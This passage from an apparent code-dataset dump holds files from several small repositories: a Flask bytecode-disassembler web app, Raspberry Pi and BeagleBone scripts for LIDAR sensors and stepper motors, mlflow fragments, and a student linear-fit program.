init_app(self, name=None):\n if not name:\n name = __name__\n\n self.app = Flask(name)\n\n self.app.config.from_envvar('SETTINGS')\n\n self.init_logs()\n\n self.init_blueprints()\n\n from .api import init_api\n self.init_api(init_api)\n\n self.init_schemas()\n\n self.init_bootstrap()\n\n def init_blueprints(self):\n from .views.frontend import frontend\n self.app.register_blueprint(frontend)\n\n def init_logs(self):\n import logging\n handler = logging.FileHandler(self.app.config['LOG'])\n handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s: %(message)s'))\n self.app.logger.addHandler(handler)\n if self.app.config.get(\"LOG_LEVEL\") == \"DEBUG\":\n self.app.logger.setLevel(logging.DEBUG)\n elif self.app.config.get(\"LOG_LEVEL\") == \"WARN\":\n self.app.logger.setLevel(logging.WARN)\n else:\n self.app.logger.setLevel(logging.INFO)\n self.app.logger.info('Startup with log: %s' % self.app.config['LOG'])\n\n def init_api(self, api_map=None):\n # import ipdb; ipdb.set_trace()\n if api_map:\n api_map(rest_api)\n rest_api.init_app(self.app)\n return rest_api\n\n def init_schemas(self):\n ma.init_app(self.app)\n\n def init_bootstrap(self):\n bootstrap.init_app(self.app)\n\n\ndef create_app():\n \"\"\"\n Application factory.\n\n http://flask.pocoo.org/docs/0.10/patterns/appfactories/\n \"\"\"\n global app_instance\n if not app_instance:\n app_instance = Unravelr()\n app_instance.init_app()\n return app_instance.app\n" }, { "alpha_fraction": 0.6880530714988708, "alphanum_fraction": 0.6991150379180908, "avg_line_length": 25.58823585510254, "blob_id": "9971de1183c03cf46c4fd317cb279021df935779", "content_id": "cdc606c236ac49a1d31e157260ede8ccad3f04a5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 452, "license_type": "permissive", "max_line_length": 84, "num_lines": 17, "path": "/bin/manage.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport sys\nsys.path.insert(0, '.')\n\nfrom unravelr import create_app\nfrom flask_script import Manager, Shell, Server\n\napp = create_app()\n\nmanager = Manager(app)\nmanager.add_command(\"shell\", Shell(make_context=lambda: dict(app=app)))\nmanager.add_command(\"runserver\", Server(port=app.config['PORT']))\nmanager.add_command(\"publicserver\", Server(port=app.config['PORT'], host=\"0.0.0.0\"))\n\n\nif __name__ == \"__main__\":\n manager.run()\n" }, { "alpha_fraction": 0.6258437633514404, "alphanum_fraction": 0.6595950126647949, "avg_line_length": 18.94230842590332, "blob_id": "069763753b57b542d75d3eb0827f8e8f2ba160e4", "content_id": "a7f7b6b8739e301e51c5c15483db34a2b160b352", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1037, "license_type": "permissive", "max_line_length": 94, "num_lines": 52, "path": "/prototype/disassembly.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport dis\n\n# Disassemble an ordinary function called inside the code\n\n\ndef my_func():\n x = 33\n return 1 * 4 * x\n\ndis.dis(my_func)\n\nprint(\"-\" * 15)\nprint(\"-\" * 15)\n\n# Disassemble a function imported from elsewhere (say, user input field) and compiled\n# https://stackoverflow.com/questions/15432499/python-how-to-get-the-source-from-a-code-object\nfrom io import StringIO\n\nuser_input = \\\n\"\"\"\\\nx = 4\nabs(-45353) * 3.14\n1 + 3 * 4\n\"\"\"\n\ncio = StringIO(user_input)\n# print(type(cio.getvalue()))\nBinary = compile(cio.getvalue(), \"<string>\", \"exec\")\ndis.dis(Binary)\n\nresult = dis.dis(Binary)\nimport ipdb; ipdb.set_trace()\n\n# Future plans: support disassembling classes, modules and functions\n\nuser_input = \\\n\"\"\"\ndef myfunc2():\n x = 4 * 4\n return x / 2\n\ndef myfunc3():\n [i**2 for i in range(5)]\n\"\"\"\n\ncio = StringIO(user_input)\nBinary = compile(cio.getvalue(), \"<string>\", \"exec\")\n\nfor i in range(len(Binary.co_names)):\n Binary_nest = compile(Binary.co_names[i], \"<string>\", \"exec\")\n dis.dis(Binary_nest)\n" }, { "alpha_fraction": 0.779411792755127, "alphanum_fraction": 0.779411792755127, "avg_line_length": 26.200000762939453, "blob_id": "5473629b50540631a3de846a87ec52cdeb5c950a", "content_id": "f66346e288a1a4fc27be5bf62af8972c877b87aa", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 136, "license_type": "permissive", "max_line_length": 65, "num_lines": 5, "path": "/unravelr/api/__init__.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "from .disassembler import Disassembler\n\n\ndef init_api(api_extension):\n api_extension.add_resource(Disassembler, \"/api/disassembler\")\n" }, { "alpha_fraction": 0.40909090638160706, "alphanum_fraction": 0.4545454680919647, "avg_line_length": 21, "blob_id": "b0cc02fbd02c291264cf10ef5ebfa44c0db35d30", "content_id": "84a07136e80a1e7a122be4a09b2c2cde1cc312d1", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 66, "license_type": "permissive", "max_line_length": 21, "num_lines": 3, "path": "/unravelr/__meta__.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "__version__ = '0.1.0'\n__author__ = 'Michael Sarfati'\n__email__ = '[email protected]'\n" }, { "alpha_fraction": 0.6043814420700073, "alphanum_fraction": 0.6095361113548279, "avg_line_length": 19.421052932739258, "blob_id": "5040f52e38f72feda38ae307d8887482015bb8b6", "content_id": "a84c474c45654aeaacf4e29eec79714e573e006b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 776, "license_type": "permissive", "max_line_length": 94, "num_lines": 38, "path": "/setup.py", "repo_name": "msarfati/unravelr", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom setuptools import setup\nimport os\n\nversion = '0.1'\n\n\ndef fpath(name):\n return os.path.join(os.path.dirname(__file__), name)\n\n\ndef read(fname):\n return open(fpath(fname)).read()\n\n\nsetup(version=version,\n name='Unravelr',\n description=\"RESTful enabled Disassembler in web client.\",\n author='Michael Sarfati',\n author_email=\"[email protected]\",\n packages=[\n \"unravelr\",\n \"unravelr.api\",\n \"unravelr.tests\",\n \"unravelr.views\",\n ],\n scripts=[\n \"bin/manage.py\"\n ],\n long_description=\"\"\"\"\"\",\n classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n include_package_data=True,\n keywords='',\n install_requires=read('requirements.txt'),\n\n zip_safe=False,\n)\n" } ]
13
kvijay1995/ecoPRT-Lidar
https://github.com/kvijay1995/ecoPRT-Lidar
1ec6de5a79921c154389961cf88660690fe2d50e
f53f93beba83581abb5976f77b53dabf57efd221
085aec7725575928ea5010b3db7bb07850ee6396
refs/heads/master
2021-01-10T08:00:58.142860
2016-01-14T22:44:20
2016-01-14T22:44:20
49,680,128
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5947712659835815, "alphanum_fraction": 0.6034858226776123, "avg_line_length": 17.360000610351562, "blob_id": "7142dce3c4e0119171202911399bd4b854c80ada", "content_id": "a02373a9038b051f963a38feb6adaac287a7b82a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 459, "license_type": "no_license", "max_line_length": 48, "num_lines": 25, "path": "/Lidar_scripts/gpio.sh", "repo_name": "kvijay1995/ecoPRT-Lidar", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ngpio_sysfs=/sys/class/gpio\n\nload_gpio () {\n\tnum=$1\n\tif [ ! -e $gpio_sysfs/gpio${num} ]; then\n\t\techo $num > ${gpio_sysfs}/export\n\telse\n\t\techo \"GPIO $num already exported\"\n\tfi\n\techo in > ${gpio_sysfs}/gpio${num}/direction\n}\n\nset_gpio () {\n\tnum=$1\n\tdir=$2\n\tif [ \"$dir\" = 'out' ]; then\n\t\tval=$3\n\t\techo $dir > ${gpio_sysfs}/gpio${num}/direction\n\t\techo $val > ${gpio_sysfs}/gpio${num}/value\n\telse\n\t\techo $dir > ${gpio_sysfs}/gpio${num}/direction\n\tfi\n}\n" }, { "alpha_fraction": 0.46716004610061646, "alphanum_fraction": 0.6022201776504517, "avg_line_length": 16.721311569213867, "blob_id": "a94b78e93c82331bc5ec0b873ca1cd5ee07b44d2", "content_id": "9d73872576a09dab1c246122c4cf68e84525a571", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1081, "license_type": "no_license", "max_line_length": 51, "num_lines": 61, "path": "/Lidar_scripts/read_three_lidars.sh", "repo_name": "kvijay1995/ecoPRT-Lidar", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ndir=$(dirname $0)\nsource $dir/gpio.sh\n\nload_gpio 16\nload_gpio 20\nload_gpio 21\n\nset_gpio 16 out 0\nset_gpio 20 out 0 \nset_gpio 21 out 0\n\nread_lidar () {\n\tnum=$1\n\tset_gpio ${num} out 1\n i2cset -y 1 0x62 0x00 0x04\n\n sleep 0.01\n\n # Store the return value in DATA variable\n DATA_LSB=$(i2cget -y 1 0x62 0x10)\n DATA_MSB=$(i2cget -y 1 0x62 0x0f)\n #Left-shift MSB by 1 byte and add it to LSB\n ANS=$(((DATA_MSB << 8) + DATA_LSB))\n# echo gpio $num : $ANS\n\tprintf \"%04d\" $ANS > /dev/ttyAMA0\n\tset_gpio ${num} out 0\n}\nwhile :\ndo\n\techo -n ba > /dev/ttyAMA0\n\tread_lidar 16\n#\tread_lidar 20\n#\tread_lidar 21\n\techo x > /dev/ttyAMA0\ndone\n\t\n\t\n\n#set_I2C_addr () {\n#\tgpio_n=$1\n#\tnew_I2C=$2\n#\n#\tset_gpio ${gpio_n} out 1\n#\n#\tser1=$(i2cget -y 1 0x62 0x16)\n#\tser2=$(i2cget -y 1 0x62 0x17)\n#\techo $ser1\n#\techo $ser2\n#\ti2cset -y 1 0x62 0x18 ${ser1}\n#\ti2cset -y 1 0x62 0x19 ${ser2}\n#\ti2cset -y 1 0x62 0x1a ${new_I2C}\n#\ti2cset -y 1 0x62 0x1e 0x01\n#\ti2cset -y 1 0x62 0x1e 0x08\n#}\n#\n#sleep 0.1\n#set_I2C_addr 16 52\n##sleep 0.1\n##set_I2C_addr 21 72\n" }, { "alpha_fraction": 0.6630434989929199, "alphanum_fraction": 0.7228260636329651, "avg_line_length": 29.66666603088379, "blob_id": "e13a4075b8dd53a2fac7bdfb15166181515ecea2", "content_id": "c80790d405809964259c51b1b81c83cdcf65d9f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 184, "license_type": "no_license", "max_line_length": 55, "num_lines": 6, "path": "/stepper_motor_scripts/stepper_motor_test.sh", "repo_name": "kvijay1995/ecoPRT-Lidar", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# loads P9_14 pin as pwm on BBB\n\necho am33xx_pwm > /sys/devices/bone_capemgr.9/slots\necho 3 > /sys/class/pwm/export\necho bone_pwm_P9_14 > /sys/devices/bone_capemgr.9/slots\n" }, { "alpha_fraction": 0.5472440719604492, "alphanum_fraction": 0.585629940032959, "avg_line_length": 19.73469352722168, "blob_id": "e7a5d763753cdce806e22df9d0695554f37c2463", "content_id": "3395654f0c14d5a7c67aaea19dcefebebb62256c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 47, "num_lines": 49, "path": "/Lidar_scripts/read_lidar.py", "repo_name": "kvijay1995/ecoPRT-Lidar", "src_encoding": "UTF-8", "text": "import smbus\nimport time\nimport serial\n\n\nbus = smbus.SMBus(1)\naddress = 0x62\n\nser = serial.Serial(\n port='/dev/ttyAMA0',\n baudrate = 9600,\n parity=serial.PARITY_NONE,\n stopbits=serial.STOPBITS_ONE,\n bytesize=serial.EIGHTBITS,\n timeout=1\n)\n\ntimeout = 0.1\ndelay = 0.55\n\ntry:\n\twhile True:\n\t\ttry:\n\t\t\tbus.write_byte_data(address, 0x00, 0x04)\n\t\t\ttime.sleep(0.02)\n\t\t\tdata_lsb = bus.read_byte_data(address, 0x10)\n\t\t\tdata_msb = bus.read_byte_data(address, 0x0f)\n\t\t\tdata = (data_msb << 8) + data_lsb\n\t\t\tif(data_msb > 127):\n \t\t\tser.write('Error')\n\t\t\telse:\n\t\t\t\tser.write('ba')\n\t\t\t\t#ser.write('%x'%(data))\n\t\t\t\tif(data_msb > 9):\n\t\t\t\t\tser.write('%d'%(data_msb))\n\t\t\t\telse:\n\t\t\t\t\tser.write('%d'%(0))\n\t\t\t\t\tser.write('%d'%(data_msb))\n\t\t\t\tif(data_lsb > 9):\n\t\t\t\t\tser.write('%d'%(data_lsb))\n\t\t\t\telse:\n\t\t\t\t\tser.write('%d'%(0))\n\t\t\t\t\tser.write('%d'%(data_lsb))\n\t\t\t\tser.write('x\\n')\n\n\t\texcept IOError:\n\t\t\ttime.sleep(0.1)\nexcept KeyboardInterrupt:\n\tprint \"\\nInterrupt received to stop sampling\"\n" }, { "alpha_fraction": 0.5940170884132385, "alphanum_fraction": 0.6623931527137756, "avg_line_length": 17, "blob_id": "e662b0a2dce2286f3b754f145872ad4e30e5b3b7", "content_id": "4c76ccbc59621c75fa48eaf0d35e5911b3569948", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 234, "license_type": "no_license", "max_line_length": 33, "num_lines": 13, "path": "/stepper_motor_scripts/Motor.sh", "repo_name": "kvijay1995/ecoPRT-Lidar", "src_encoding": "UTF-8", "text": "#!/bin/bash\nPATH=\"/sys/class/gpio\"\nSLEEP=\"/bin/sleep\"\necho 60 > $PATH/export\necho out > $PATH/gpio60/direction\necho ON\nwhile true\ndo\n echo 1 > $PATH/gpio60/value\n $SLEEP 0.15\n echo 0 > $PATH/gpio60/value\n $SLEEP 0.15\ndone\n" }, { "alpha_fraction": 0.5513784289360046, "alphanum_fraction": 0.6416040062904358, "avg_line_length": 20, "blob_id": "abb4b5242d3f9cfba0fde2f956cdbeae1f9220d4", "content_id": "8ab6317f5cce7432bb1e05eba3ad1943e0debf27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 399, "license_type": "no_license", "max_line_length": 44, "num_lines": 19, "path": "/Lidar_scripts/lidar.sh", "repo_name": "kvijay1995/ecoPRT-Lidar", "src_encoding": "UTF-8", "text": "#!/bin/bash\ndate >> lidar.txt\n\nwhile :\ndo\n\ti2cset -y 1 0x62 0x00 0x04\n\n\tsleep 0.01\n\t\n\t# Store the return value in DATA variable\n\tDATA_LSB=$(i2cget -y 1 0x62 0x10)\n\tDATA_MSB=$(i2cget -y 1 0x62 0x0f)\n\t#Left-shift MSB by 1 byte and add it to LSB\n\tANS=$(((DATA_MSB << 8) + DATA_LSB))\n\techo -n ba >> /dev/ttyAMA0\n\tprintf \"%04d\" $ANS >> /dev/ttyAMA0\n\techo x >> /dev/ttyAMA0\n\t# echo $ANS >> lidar.txt\ndone\n" } ]
6
OmniLogic/mlflow
https://github.com/OmniLogic/mlflow
527ad9ae3e84ea4feb911396dc8a7f263ef6fea0
75d6b202e9ed23f7971a67eab4ed35238eeb5925
9ae2b508b83860ce706507ccdd4624df184d70fd
refs/heads/master
2023-02-23T18:16:49.976474
2021-01-28T22:21:02
2021-01-28T22:21:02
256,300,124
0
0
Apache-2.0
2020-04-16T18:41:21
2020-04-16T18:05:00
2020-04-16T18:33:10
null
[ { "alpha_fraction": 0.6235455274581909, "alphanum_fraction": 0.6242299675941467, "avg_line_length": 28.219999313354492, "blob_id": "fcb9a92d056c63d90f2cca12ebe56dca21e62eb6", "content_id": "6e3480af2d072b1188442141c98f5e0afaf85fff", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1461, "license_type": "permissive", "max_line_length": 85, "num_lines": 50, "path": "/mlflow/server/js/src/model-registry/components/DirectTransitionForm.js", "repo_name": "OmniLogic/mlflow", "src_encoding": "UTF-8", "text": "import { Checkbox, Form, Input, Tooltip } from 'antd';\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport {\n ACTIVE_STAGES,\n archiveExistingVersionToolTipText,\n Stages,\n StageTagComponents,\n} from '../constants';\n\nconst { TextArea } = Input;\nexport class DirectTransitionFormImpl extends React.Component {\n static propTypes = {\n form: PropTypes.object,\n toStage: PropTypes.string,\n };\n\n render() {\n const { toStage, form } = this.props;\n const { getFieldDecorator } = form;\n const archiveExistingVersionsCheckbox =\n toStage && ACTIVE_STAGES.includes(toStage) ? (\n <Form.Item>\n {getFieldDecorator('archiveExistingVersions', {\n initialValue: true,\n valuePropName: 'checked',\n })(\n <Checkbox>\n <Tooltip title={archiveExistingVersionToolTipText(toStage)}>\n Transition existing {StageTagComponents[toStage]}\n model versions to {StageTagComponents[Stages.ARCHIVED]}\n </Tooltip>\n </Checkbox>,\n )}\n </Form.Item>\n ) : '';\n\n return (\n <Form className='model-version-update-form'>\n <Form.Item label='Comment'>\n {getFieldDecorator('comment')(<TextArea rows={4} placeholder='Comment' />)}\n </Form.Item>\n {archiveExistingVersionsCheckbox}\n </Form>\n );\n }\n}\n\n\nexport const DirectTransitionForm = Form.create()(DirectTransitionFormImpl);\n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 14, "blob_id": "c89d41a73f292672a13da230821223564d60539a", "content_id": "45eb503df1de63df6f9e31052977c4185bd957ca", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 14, "license_type": "permissive", "max_line_length": 14, "num_lines": 1, "path": "/requirements-ml.txt", "repo_name": "OmniLogic/mlflow", "src_encoding": "UTF-8", "text": "omni_ml==0.2.5" }, { "alpha_fraction": 0.5423728823661804, "alphanum_fraction": 0.6779661178588867, "avg_line_length": 13.75, "blob_id": "d92c16b6610cfa2f3406f6f14aa0cbe90bb59789", "content_id": "0e4c1fd7bc9942bf2616a925983daeb77ded9136", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 59, "license_type": "permissive", "max_line_length": 33, "num_lines": 4, "path": "/mlflow/version.py", "repo_name": "OmniLogic/mlflow", "src_encoding": "UTF-8", "text": "# Copyright 2018 Databricks, Inc.\n\n\nVERSION = '1.7.3.dev0'\n" } ]
3
ujjwalpawar/Iot_activity2
https://github.com/ujjwalpawar/Iot_activity2
7d05c3ea01bc958c2de072b68811d7fff5d1f96d
e3d14a1e53c70f553dfc2bb279382a025b3ee9d5
4dada38d770c2eddfe733cb6ba6672c25b09c557
refs/heads/main
2023-02-27T04:12:09.377413
2021-02-05T18:00:13
2021-02-05T18:00:13
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6567593216896057, "alphanum_fraction": 0.6797698736190796, "avg_line_length": 14.115942001342773, "blob_id": "697e009cc1711ada543acf8106349e3ddae6cc15", "content_id": "06efd7e53536afc846f727cb316c05a0d40ae3b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1043, "license_type": "no_license", "max_line_length": 67, "num_lines": 69, "path": "/client.py", "repo_name": "ujjwalpawar/Iot_activity2", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as mqttClient\nimport time\nimport random\nimport math\nimport sys\n\nall_clients=[]\nfor i in range(1,11):\n all_clients.append('client'+str(i))\ncontact=[]\n\ndef location_generator():\n corr={'x':random.randrange(0,250,1),\n 'y':random.randrange(0,250,1)}\n return corr\n\ndef distance(curr,to):\n return math.sqrt((to['x']-curr['x'])**2+(to['y']-curr['y'])**2)\n\n\n\ndef on_connect(client, userdata, flags, rc):\n\n\ndef on_message(client, userdata, message):\n #Task-5 Write code here\n\n\ncurr=location_generator()\n#Task-1 Write code here\n\n\n\n\n\n\n#Task-2 Write code here\n # create new instance MQTT client \nclient \n\nclient.on_connect = on_connect # attach function to callback\nclient.on_message = on_message # attach function to callback\n\n\nclient.connect(broker_address, port=port) # connect to broker\n\n\n\n\nclient.loop_start() # start the loop\n\n#Task-3 Write code here\n\n\n\n\n\nend_time=time.time()+15\nwhile time.time() < end_time:\n # Task-4 Write code here\n\n\n \n \nprint(\"exiting\")\n\n\nprint(contact)\ntime.sleep(10)\n" }, { "alpha_fraction": 0.7693266868591309, "alphanum_fraction": 0.7755610942840576, "avg_line_length": 65.75, "blob_id": "228f78e05d0c0163529afa62ea094b549af1c4ea", "content_id": "0ac453c8ff7365a7d4dedd7481a4c86a838218e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 810, "license_type": "no_license", "max_line_length": 171, "num_lines": 12, "path": "/README.md", "repo_name": "ujjwalpawar/Iot_activity2", "src_encoding": "UTF-8", "text": "# Iot_activity2\n## Sub task\n* Get and store the client name from command line argument.\n* Set this as client name for client object.\n* Subscribe to the “location/client_name” topics where \"client_name\" are given in python list called all_clients and do not subscribe to location topic of a client itself.\n* Write code to publish your current location on topic “location/<client_name>” where client_name is current client name, sleep for 2 seconds and repeat.\n* Complete on_message() method.\n* * Extract location data from received message.\n* * Extract client name from received message.\n* * Calculate Distance from your current location.(Distance function is provided).\n* * Store the client name if distance is less than 20 meters in list contacts already defined\n* To test your code run activity2.sh\n\n" } ]
2
shaharlavron/TAU
https://github.com/shaharlavron/TAU
2df1093bfc18d28126510c474794bb041bb317a7
d28f4fdc8998fa723a08f5e212fef67a51577624
2922023da2867baf7bca3e6409190b21fbaef266
refs/heads/master
2020-04-21T14:03:19.096190
2019-02-07T19:27:55
2019-02-07T19:27:55
169,621,662
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5099999904632568, "alphanum_fraction": 0.5299999713897705, "avg_line_length": 32.69565200805664, "blob_id": "6c6480b88bf0d8a7308577e23dd66a7166bec060", "content_id": "8135fb2d015eabf67811f88758f3142501b16e20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1600, "license_type": "no_license", "max_line_length": 79, "num_lines": 46, "path": "/Finale/calculate_values.py", "repo_name": "shaharlavron/TAU", "src_encoding": "UTF-8", "text": "import input_test\r\n\r\ndef avg(value,sigma):\r\n \"\"\"\r\n this is how i thought i should do it according to\r\n the explanation but it resulted very poorly so i went with the standard way\r\n \"\"\"\r\n #mone = sum([value[i]/float(sigma[i]**2) for i in range(len(value))])\r\n #mechna = sum([1/float(sigma[i]**2) for i in range(len(value))])\r\n\r\n mone = sum(value)\r\n mechna =len(value)\r\n\r\n avg = mone/mechna\r\n return avg\r\n\r\ndef calc_values(info):\r\n \"\"\"\r\n calculates all the values relevant for the fit\r\n :param info:\r\n :return [a, da, b, db, chi2, chi2red]:\r\n \"\"\"\r\n\r\n #calculate all averages\r\n x_avg = avg(info[\"x\"], info[\"dx\"])\r\n y_avg = avg(info[\"y\"], info[\"dy\"])\r\n xy_avg = [info[\"y\"][i] * info[\"x\"][i] for i in range(len(info[\"x\"]))]\r\n dxy_avg = [info[\"dy\"][i] * info[\"dx\"][i] for i in range(len(info[\"x\"]))]\r\n x2_avg = [info[\"x\"][i] ** 2 for i in range(len(info[\"x\"]))]\r\n dx2_avg = [info[\"dx\"][i] ** 2 for i in range(len(info[\"dx\"]))]\r\n dy2_avg = [info[\"dy\"][i] ** 2 for i in range(len(info[\"dy\"]))]\r\n dy2_avg = sum(dy2_avg)/len(dy2_avg)\r\n xy_avg = avg(xy_avg, dxy_avg)\r\n x2_avg = avg(x2_avg, dx2_avg)\r\n\r\n #calculate the relevant values for the fit\r\n a = (xy_avg - x_avg * y_avg) / (x2_avg - x_avg ** 2)\r\n da = dy2_avg/(len(info[\"x\"])*(x2_avg - x_avg**2))\r\n b = y_avg - a*x_avg\r\n db = da*x2_avg\r\n chi2 = [((info[\"y\"][i] - a*info[\"x\"][i] - b)/info[\"dy\"][i])**2\\\r\n for i in range(len(info[\"x\"]))]\r\n chi2 = sum(chi2)\r\n chi2red = chi2/(len(info[\"x\"])-2)\r\n\r\n return [a, da, b, db, chi2, chi2red]\r\n\r\n\r\n" }, { "alpha_fraction": 0.8030303120613098, "alphanum_fraction": 0.8030303120613098, "avg_line_length": 32, "blob_id": "a52beefc7e55726d5c22ed49a1206e97af08cc66", "content_id": "e048dd6b9841555cfc74af0016ea8909db7baf5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 66, "license_type": "no_license", "max_line_length": 59, "num_lines": 2, "path": "/README.md", "repo_name": "shaharlavron/TAU", "src_encoding": "UTF-8", "text": "# TAU\nrepo for the final project in computer for physicists class\n" }, { "alpha_fraction": 0.5123847723007202, "alphanum_fraction": 0.5230414867401123, "avg_line_length": 23.159420013427734, "blob_id": "0a686a8ed388230fd60970d2f8652ee36897e5ef", "content_id": "021ad0bd8e7e298587c5faef305136beb2c91214", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3472, "license_type": "no_license", "max_line_length": 85, "num_lines": 138, "path": "/Finale/input_test.py", "repo_name": "shaharlavron/TAU", "src_encoding": "UTF-8", "text": "def readData(file_name):\r\n \"\"\"\r\n reads the data\r\n :param file_name:\r\n :return:\r\n \"\"\"\r\n file_po = open(file_name, \"r\")\r\n data = file_po.readlines()\r\n return data\r\n\r\n\r\ndef is_cols(data):\r\n \"\"\"\r\n checks if the data is in row or col format\r\n :param data:\r\n :return 1 if cols 0 if rows:\r\n \"\"\"\r\n if \"x\" in data[0].lower() and \"y\" in data[0].lower():\r\n return 1\r\n else:\r\n return 0\r\n\r\n\r\ndef arrangeData(data):\r\n \"\"\"\r\n strips info from spaces\r\n :param data:\r\n :return data_tuple:\r\n \"\"\"\r\n data = [i.rstrip().strip() for i in data]\r\n info = [i for i in data if \"axis\" not in i and i != \"\"]\r\n axis = [i for i in data if \"axis\" in i]\r\n data_tuple = (info, axis)\r\n return data_tuple\r\n\r\n\r\ndef ColsToRows(data_tuple):\r\n \"\"\"\r\n a function that gets col data\r\n and turns it into rows\r\n :param data_tuple:\r\n :return row_info:\r\n \"\"\"\r\n info = data_tuple[0]\r\n #axis = data_tuple[1]\r\n row_info = [[],[],[],[]]\r\n info = [i.split() for i in info]\r\n length = len(info[0])\r\n for i in info:\r\n if len(i) != length:\r\n return 1\r\n else:\r\n pass\r\n for j in range(4):\r\n row_info[j] = [i[j] for i in info]\r\n return row_info\r\n\r\n\r\ndef RowsToData(row_info):\r\n \"\"\"\r\n processes data that comes in row form\r\n :param row_info:\r\n :return:\r\n \"\"\"\r\n info_dict = {}\r\n axis_dict = {}\r\n for i in range(len(row_info[0])):\r\n info_dict[row_info[0][i][0].lower()] = row_info[0][i][1::]\r\n for i in range(len(row_info[1])):\r\n axis_dict[row_info[1][i][0].lower()] = row_info[1][i][0::]\r\n for i in info_dict:\r\n info_dict[i] = [float(j) for j in info_dict[i]]\r\n\r\n return (info_dict,axis_dict)\r\n\r\n\r\ndef checkSigma(info_dict):\r\n \"\"\"\r\n checks if there is a negative deviation\r\n if so terminates the program\r\n :param info_dict:\r\n :return 1 for error 0 for success:\r\n \"\"\"\r\n #print info_dict[\"dx\"]\r\n for i in info_dict[\"dx\"]:\r\n if i >= 0:\r\n pass\r\n else:\r\n return 1\r\n\r\n for i in info_dict[\"dy\"]:\r\n if i >= 0:\r\n pass\r\n else:\r\n return 1\r\n return 0\r\n\r\ndef get_data(filename):\r\n \"\"\"\r\n parses the data using the functions above\r\n :param filename:\r\n :return info_axis a list with two dicts one containing data and other the axises:\r\n \"\"\"\r\n data = readData(filename)\r\n data_tup = arrangeData(data)\r\n row_info = []\r\n\r\n #checks if cols or rows, if rows also validates the info\r\n if is_cols(data):\r\n row_info = ColsToRows(data_tup)\r\n else:\r\n row_info = data_tup[0]\r\n row_info = [i.split() for i in row_info]\r\n\r\n #checks if all lists are the same length\r\n length = len(row_info[0])\r\n for i in row_info:\r\n if len(i) == length:\r\n pass\r\n else:\r\n print(\"Input file error: Data lists are not the same length.\")\r\n return 1\r\n\r\n if row_info == 1:\r\n print(\"Input file error: Data lists are not the same length.\")\r\n return 1\r\n row_info = [row_info, data_tup[1]]\r\n info_axis = RowsToData(row_info)\r\n\r\n #checks if all uncertainties are larger than zero\r\n test = checkSigma(info_axis[0])\r\n if test == 1:\r\n print(\"Input file error: Not all uncertainties are positive.\")\r\n return 1\r\n return info_axis\r\n\r\nif __name__ == '__main__':\r\n main()\r\n" }, { "alpha_fraction": 0.5136150121688843, "alphanum_fraction": 0.5230047106742859, "avg_line_length": 25.35897445678711, "blob_id": "a7b02f6d7356853922e2269bf87f046ee6a812af", "content_id": "c67f7ea8f7b7ec5bb856345e57136b3c9abcb98b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 55, "num_lines": 39, "path": "/Finale/main.py", "repo_name": "shaharlavron/TAU", "src_encoding": "UTF-8", "text": "from matplotlib import pyplot\r\nimport input_test\r\nimport calculate_values\r\nvalue_format = \"a = {} +- {}\\n\" \\\r\n \"b = {} +- {}\\n\" \\\r\n \"chi2 = {}\\n\" \\\r\n \"chi2_reduced = {}\"\r\nfig_file = r\"linear_fit\"\r\n\r\n\r\ndef fit_linear(filename):\r\n #getting data and arranging it\r\n info_axis = input_test.get_data(filename)\r\n if info_axis == 1:\r\n return\r\n values = calculate_values.calc_values(info_axis[0])\r\n info = info_axis[0]\r\n axis = info_axis[1]\r\n x_axis = axis[\"x\"]\r\n x_axis = x_axis.replace(\"x axis: \", \"\")\r\n y_axis = axis[\"y\"]\r\n y_axis = y_axis.replace(\"y axis: \", \"\")\r\n\r\n #printing the values\r\n print(value_format.format(*values))\r\n\r\n #plotting\r\n a = values[0]\r\n b = values[2]\r\n x = info[\"x\"]\r\n y = 